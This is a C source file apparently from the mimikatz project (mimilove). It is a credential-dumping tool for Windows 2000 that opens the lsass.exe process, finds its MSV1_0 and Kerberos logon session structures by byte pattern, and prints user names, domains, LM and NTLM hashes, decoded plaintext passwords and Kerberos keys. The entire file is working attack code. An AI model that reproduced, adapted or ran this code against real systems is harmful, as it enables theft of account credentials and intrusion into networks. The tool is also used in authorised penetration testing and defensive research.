413 lines
16 KiB
C
413 lines
16 KiB
C
/* Benjamin DELPY `gentilkiwi`
|
|
https://blog.gentilkiwi.com
|
|
benjamin@gentilkiwi.com
|
|
Licence : https://creativecommons.org/licenses/by/4.0/
|
|
*/
|
|
#include "mimilove.h"
|
|
|
|
int wmain(int argc, wchar_t *argv[])
|
|
{
|
|
DWORD pid;
|
|
HANDLE hProcess;
|
|
PKULL_M_MEMORY_HANDLE hMemory;
|
|
OSVERSIONINFO osInfo;
|
|
|
|
kprintf(L"\n"
|
|
L" .#####. " MIMILOVE_FULL L"\n"
|
|
L" .## ^ ##. " MIMILOVE_SECOND L"\n"
|
|
L" ## / \\ ## /* * *\n"
|
|
L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
|
|
L" '## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)\n"
|
|
L" '#####' " MIMILOVE_SPECIAL L"* * */\n\n");
|
|
|
|
RtlZeroMemory(&osInfo, sizeof(OSVERSIONINFO));
|
|
osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
|
if(GetVersionEx(&osInfo))
|
|
{
|
|
if((osInfo.dwMajorVersion == 5) && (osInfo.dwMinorVersion == 0))
|
|
{
|
|
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
|
|
{
|
|
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid))
|
|
{
|
|
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
|
|
{
|
|
mimilove_lsasrv(hMemory);
|
|
mimilove_kerberos(hMemory);
|
|
kull_m_memory_close(hMemory);
|
|
}
|
|
CloseHandle(hProcess);
|
|
}
|
|
else PRINT_ERROR_AUTO(L"OpenProcess");
|
|
}
|
|
}
|
|
else PRINT_ERROR(L"Only for Windows 2000\n");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"GetVersionEx");
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
BOOL kuhl_m_sekurlsa_utils_love_search(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION mi, PKULL_M_MINI_PATTERN pa, PVOID * genericPtr)
|
|
{
|
|
BOOL status = FALSE;
|
|
KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, mi->DllBase.hMemory}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
|
|
KULL_M_MEMORY_SEARCH sMemory = {{{mi->DllBase.address, mi->DllBase.hMemory}, mi->SizeOfImage}, NULL};
|
|
aLocalMemory.address = pa->Pattern;
|
|
if(kull_m_memory_search(&aLocalMemory, pa->Length, &sMemory, FALSE))
|
|
{
|
|
aLsassMemory.address = (PBYTE) sMemory.result + pa->offset;
|
|
aLocalMemory.address = genericPtr;
|
|
status = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID));
|
|
}
|
|
return status;
|
|
}
|
|
|
|
const wchar_t * KUHL_M_SEKURLSA_LOGON_TYPE[] = {
|
|
L"UndefinedLogonType",
|
|
L"Unknown !",
|
|
L"Interactive",
|
|
L"Network",
|
|
L"Batch",
|
|
L"Service",
|
|
L"Proxy",
|
|
L"Unlock",
|
|
L"NetworkCleartext",
|
|
L"NewCredentials",
|
|
L"RemoteInteractive",
|
|
L"CachedInteractive",
|
|
L"CachedRemoteInteractive",
|
|
L"CachedUnlock",
|
|
};
|
|
const ANSI_STRING
|
|
PRIMARY_STRING = {7, 8, "Primary"};
|
|
|
|
void mimilove_lsasrv(PKULL_M_MEMORY_HANDLE hMemory)
|
|
{
|
|
BYTE PTRN_W2K_LogonSessionTable[] = {0xff, 0x50, 0x10, 0x85, 0xc0, 0x74};
|
|
KULL_M_MINI_PATTERN paLsasrv = {sizeof(PTRN_W2K_LogonSessionTable), PTRN_W2K_LogonSessionTable, -9};
|
|
PLIST_ENTRY LogonSessionTable = NULL;
|
|
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION miLsasrv;
|
|
KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, hMemory}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
|
|
PVOID baseTable, base;
|
|
KIWI_MSV1_0_LOGON_SESSION_TABLE_50 table;
|
|
KIWI_MSV1_0_LIST_50 list;
|
|
KIWI_MSV1_0_ENTRY_50 entry;
|
|
KIWI_MSV1_0_CREDENTIALS credentials;
|
|
KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials;
|
|
PMSV1_0_PRIMARY_CREDENTIAL_50 pPrimaryCred;
|
|
DWORD tableCount = 0, i;
|
|
|
|
kprintf(L"========================================\n"
|
|
L"LSASRV Credentials (MSV1_0, ...)\n"
|
|
L"========================================\n\n"
|
|
);
|
|
|
|
if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &miLsasrv))
|
|
{
|
|
if(kuhl_m_sekurlsa_utils_love_search(&miLsasrv, &paLsasrv, (PVOID *) &LogonSessionTable))
|
|
{
|
|
aLocalMemory.address = &base; // buffer
|
|
aLsassMemory.address = LogonSessionTable;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)))
|
|
{
|
|
if(aLsassMemory.address = base) // buffer
|
|
{
|
|
aLocalMemory.address = &table;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50)))
|
|
{
|
|
if(table.tag == 'XTHL')
|
|
{
|
|
tableCount = 16;
|
|
baseTable = (PBYTE) aLsassMemory.address + sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50);
|
|
}
|
|
else if(table.tag == 'XTHS')
|
|
{
|
|
tableCount = 1;
|
|
baseTable = aLsassMemory.address;
|
|
}
|
|
else PRINT_ERROR(L"unknown table tag\n");
|
|
}
|
|
|
|
for(i = 0; i < tableCount ; i++)
|
|
{
|
|
aLsassMemory.address = (PBYTE) baseTable + i * sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50);
|
|
aLocalMemory.address = &table;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50)))
|
|
{
|
|
base = (PBYTE) aLsassMemory.address + FIELD_OFFSET(KIWI_MSV1_0_LOGON_SESSION_TABLE_50, list);
|
|
if(aLsassMemory.address = table.list.Flink)
|
|
{
|
|
while(aLsassMemory.address != base)
|
|
{
|
|
aLocalMemory.address = &list;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_LIST_50)))
|
|
{
|
|
if(aLsassMemory.address = list.entry)
|
|
{
|
|
aLocalMemory.address = &entry;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_ENTRY_50)))
|
|
{
|
|
if(aLsassMemory.address = entry.Credentials)
|
|
{
|
|
kull_m_process_getUnicodeString(&entry.UserName, hMemory);
|
|
kull_m_process_getUnicodeString(&entry.Domaine, hMemory);
|
|
kull_m_process_getSid(&entry.pSid, hMemory);
|
|
|
|
kprintf(L"Authentication Id : %u ; %u (%08x:%08x)\n"
|
|
L"Session : %s from %u\n"
|
|
L"User Name : %wZ\n"
|
|
L"Domain : %wZ\n"
|
|
, entry.LocallyUniqueIdentifier.HighPart, entry.LocallyUniqueIdentifier.LowPart, entry.LocallyUniqueIdentifier.HighPart, entry.LocallyUniqueIdentifier.LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[entry.LogonType], entry.Session, &entry.UserName, &entry.Domaine);
|
|
kprintf(L"Logon Time : ");
|
|
kull_m_string_displayLocalFileTime(&entry.LogonTime);
|
|
kprintf(L"\nSID : ");
|
|
if(entry.pSid)
|
|
kull_m_string_displaySID(entry.pSid);
|
|
kprintf(L"\n");
|
|
|
|
if(entry.UserName.Buffer)
|
|
LocalFree(entry.UserName.Buffer);
|
|
if(entry.Domaine.Buffer)
|
|
LocalFree(entry.Domaine.Buffer);
|
|
if(entry.pSid)
|
|
LocalFree(entry.pSid);
|
|
|
|
while(aLsassMemory.address)
|
|
{
|
|
aLocalMemory.address = &credentials;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_CREDENTIALS)))
|
|
{
|
|
if(aLsassMemory.address = credentials.PrimaryCredentials)
|
|
{
|
|
while(aLsassMemory.address)
|
|
{
|
|
aLocalMemory.address = &primaryCredentials;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)))
|
|
{
|
|
kull_m_process_getUnicodeString((PUNICODE_STRING) &primaryCredentials.Primary, hMemory);
|
|
kull_m_process_getUnicodeString((PUNICODE_STRING) &primaryCredentials.Credentials, hMemory);
|
|
|
|
kprintf(L"\t[%Z]\n", &primaryCredentials.Primary);
|
|
if(RtlEqualString(&primaryCredentials.Primary, &PRIMARY_STRING, FALSE))
|
|
{
|
|
pPrimaryCred = (PMSV1_0_PRIMARY_CREDENTIAL_50) primaryCredentials.Credentials.Buffer;
|
|
kull_m_string_MakeRelativeOrAbsoluteString(pPrimaryCred, &pPrimaryCred->UserName, FALSE);
|
|
kull_m_string_MakeRelativeOrAbsoluteString(pPrimaryCred, &pPrimaryCred->LogonDomainName, FALSE);
|
|
kprintf(L"\t * Username : %wZ\n\t * Domain : %wZ", &pPrimaryCred->UserName, &pPrimaryCred->LogonDomainName);
|
|
if(pPrimaryCred->isLmOwfPassword)
|
|
{
|
|
kprintf(L"\n\t * LM : ");
|
|
kull_m_string_wprintf_hex(pPrimaryCred->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
|
|
}
|
|
if(pPrimaryCred->isNtOwfPassword)
|
|
{
|
|
kprintf(L"\n\t * NTLM : ");
|
|
kull_m_string_wprintf_hex(pPrimaryCred->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
|
|
}
|
|
kprintf(L"\n");
|
|
}
|
|
else
|
|
{
|
|
kull_m_string_wprintf_hex(primaryCredentials.Credentials.Buffer, primaryCredentials.Credentials.Length, 1 | (16 << 16));
|
|
}
|
|
|
|
if(primaryCredentials.Primary.Buffer)
|
|
LocalFree(primaryCredentials.Primary.Buffer);
|
|
if(primaryCredentials.Credentials.Buffer)
|
|
LocalFree(primaryCredentials.Credentials.Buffer);
|
|
|
|
aLsassMemory.address = primaryCredentials.next;
|
|
}
|
|
else
|
|
{
|
|
PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_PRIMARY_CREDENTIALS");
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
aLsassMemory.address = credentials.next;
|
|
}
|
|
else
|
|
{
|
|
PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_CREDENTIALS");
|
|
break;
|
|
}
|
|
}
|
|
kprintf(L"\n");
|
|
}
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_ENTRY_50");
|
|
}
|
|
else PRINT_ERROR(L"list.entry is NULL\n");
|
|
aLsassMemory.address = list.Flink;
|
|
}
|
|
else
|
|
{
|
|
PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_LIST_50");
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
else PRINT_ERROR(L"table.list is NULL\n");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_LOGON_SESSION_TABLE_50");
|
|
}
|
|
}
|
|
else PRINT_ERROR(L"LogonSessionTable is NULL\n");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy / ptr 1");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"lsasrv pattern not found");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"lsasrv module info");
|
|
}
|
|
|
|
void mimilove_kerberos(PKULL_M_MEMORY_HANDLE hMemory)
|
|
{
|
|
BYTE PTRN_W2K_KerbLogonSessionList[] = {0x8b, 0x5c, 0x24, 0x18, 0x8b, 0x13};
|
|
KULL_M_MINI_PATTERN paKerberos = {sizeof(PTRN_W2K_KerbLogonSessionList), PTRN_W2K_KerbLogonSessionList, -8};
|
|
PLIST_ENTRY KerbLogonSessionList = NULL;
|
|
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION miKerberos;
|
|
KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, hMemory}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
|
|
PVOID base;
|
|
BYTE hash;
|
|
KIWI_KERBEROS_LOGON_SESSION_50 session;
|
|
KIWI_KERBEROS_KEYS_LIST_5 keyList;
|
|
PKERB_HASHPASSWORD_5 pKeys;
|
|
DWORD i;
|
|
UNICODE_STRING tmpBuffer;
|
|
|
|
kprintf(L"========================================\n"
|
|
L"KERBEROS Credentials (no tickets, sorry)\n"
|
|
L"========================================\n\n"
|
|
);
|
|
|
|
if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"kerberos.dll", &miKerberos))
|
|
{
|
|
if(kuhl_m_sekurlsa_utils_love_search(&miKerberos, &paKerberos, (PVOID *) &KerbLogonSessionList))
|
|
{
|
|
aLocalMemory.address = &base; // buffer
|
|
aLsassMemory.address = KerbLogonSessionList;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)))
|
|
{
|
|
if(aLsassMemory.address = base) // buffer
|
|
{
|
|
while(aLsassMemory.address != KerbLogonSessionList)
|
|
{
|
|
aLocalMemory.address = &session;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_KERBEROS_LOGON_SESSION_50)))
|
|
{
|
|
if(session.Password.Length || session.pKeyList)
|
|
{
|
|
kull_m_process_getUnicodeString(&session.UserName, hMemory);
|
|
kull_m_process_getUnicodeString(&session.Domaine, hMemory);
|
|
kull_m_process_getUnicodeString(&session.Password, hMemory);
|
|
|
|
kprintf(L"Authentication Id : %u ; %u (%08x:%08x)\n"
|
|
L"User Name : %wZ\n"
|
|
L"Domain : %wZ\n"
|
|
L"Password : "
|
|
, session.LocallyUniqueIdentifier.HighPart, session.LocallyUniqueIdentifier.LowPart, session.LocallyUniqueIdentifier.HighPart, session.LocallyUniqueIdentifier.LowPart, &session.UserName, &session.Domaine);
|
|
|
|
hash = *((PBYTE) &session.Password.Length + 1); // please...
|
|
*((PBYTE) &session.Password.Length + 1) = 0;
|
|
RtlRunDecodeUnicodeString(hash, &session.Password);
|
|
|
|
if(!session.Password.Length || kull_m_string_suspectUnicodeString(&session.Password))
|
|
kprintf(L"%wZ", &session.Password);
|
|
else
|
|
kull_m_string_wprintf_hex(session.Password.Buffer, session.Password.Length, 1);
|
|
kprintf(L"\n");
|
|
|
|
if(aLsassMemory.address = session.pKeyList)
|
|
{
|
|
aLocalMemory.address = &keyList;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_KERBEROS_KEYS_LIST_5)))
|
|
{
|
|
if(pKeys = (PKERB_HASHPASSWORD_5) LocalAlloc(LPTR, keyList.cbItem * sizeof(KERB_HASHPASSWORD_5)))
|
|
{
|
|
aLsassMemory.address = (PBYTE) session.pKeyList + sizeof(KIWI_KERBEROS_KEYS_LIST_5);
|
|
aLocalMemory.address = pKeys;
|
|
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, keyList.cbItem * sizeof(KERB_HASHPASSWORD_5)))
|
|
{
|
|
for(i = 0; i < keyList.cbItem; i++)
|
|
{
|
|
kprintf(L"\t%s ", mimilove_kerberos_etype(pKeys[i].generic.Type));
|
|
if(tmpBuffer.Length = tmpBuffer.MaximumLength = (USHORT) pKeys[i].generic.Size)
|
|
{
|
|
if(tmpBuffer.Buffer = (PWSTR) pKeys[i].generic.Checksump)
|
|
{
|
|
if(kull_m_process_getUnicodeString(&tmpBuffer, hMemory))
|
|
{
|
|
kull_m_string_wprintf_hex(tmpBuffer.Buffer, tmpBuffer.Length, 0); kprintf(L"\n");
|
|
LocalFree(tmpBuffer.Buffer);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KERB_HASHPASSWORD_5");
|
|
LocalFree(pKeys);
|
|
}
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_KERBEROS_KEYS_LIST_5");
|
|
}
|
|
kprintf(L"\n");
|
|
|
|
if(session.UserName.Buffer)
|
|
LocalFree(session.UserName.Buffer);
|
|
if(session.Domaine.Buffer)
|
|
LocalFree(session.Domaine.Buffer);
|
|
if(session.Password.Buffer)
|
|
LocalFree(session.Password.Buffer);
|
|
}
|
|
aLsassMemory.address = session.Entry.Flink;
|
|
}
|
|
else
|
|
{
|
|
PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_KERBEROS_LOGON_SESSION_50");
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
else PRINT_ERROR(L"KerbLogonSessionList is NULL\n");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy / ptr 1");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kerberos pattern not found");
|
|
}
|
|
else PRINT_ERROR_AUTO(L"kerberos module info");
|
|
}
|
|
|
|
PCWCHAR mimilove_kerberos_etype(LONG eType)
|
|
{
|
|
PCWCHAR type;
|
|
switch(eType)
|
|
{
|
|
case KERB_ETYPE_NULL: type = L"null "; break;
|
|
case KERB_ETYPE_DES_PLAIN: type = L"des_plain "; break;
|
|
case KERB_ETYPE_DES_CBC_CRC: type = L"des_cbc_crc "; break;
|
|
case KERB_ETYPE_DES_CBC_MD4: type = L"des_cbc_md4 "; break;
|
|
case KERB_ETYPE_DES_CBC_MD5: type = L"des_cbc_md5 "; break;
|
|
case KERB_ETYPE_DES_CBC_MD5_NT: type = L"des_cbc_md5_nt "; break;
|
|
case KERB_ETYPE_RC4_PLAIN: type = L"rc4_plain "; break;
|
|
case KERB_ETYPE_RC4_PLAIN2: type = L"rc4_plain2 "; break;
|
|
case KERB_ETYPE_RC4_PLAIN_EXP: type = L"rc4_plain_exp "; break;
|
|
case KERB_ETYPE_RC4_LM: type = L"rc4_lm "; break;
|
|
case KERB_ETYPE_RC4_MD4: type = L"rc4_md4 "; break;
|
|
case KERB_ETYPE_RC4_SHA: type = L"rc4_sha "; break;
|
|
case KERB_ETYPE_RC4_HMAC_NT: type = L"rc4_hmac_nt "; break;
|
|
case KERB_ETYPE_RC4_HMAC_NT_EXP: type = L"rc4_hmac_nt_exp "; break;
|
|
case KERB_ETYPE_RC4_PLAIN_OLD: type = L"rc4_plain_old "; break;
|
|
case KERB_ETYPE_RC4_PLAIN_OLD_EXP: type = L"rc4_plain_old_exp"; break;
|
|
case KERB_ETYPE_RC4_HMAC_OLD: type = L"rc4_hmac_old "; break;
|
|
case KERB_ETYPE_RC4_HMAC_OLD_EXP: type = L"rc4_hmac_old_exp "; break;
|
|
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN: type = L"aes128_hmac_plain"; break;
|
|
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN: type = L"aes256_hmac_plain"; break;
|
|
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96: type = L"aes128_hmac "; break;
|
|
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96: type = L"aes256_hmac "; break;
|
|
default: type = L"unknow "; break;
|
|
}
|
|
return type;
|
|
} |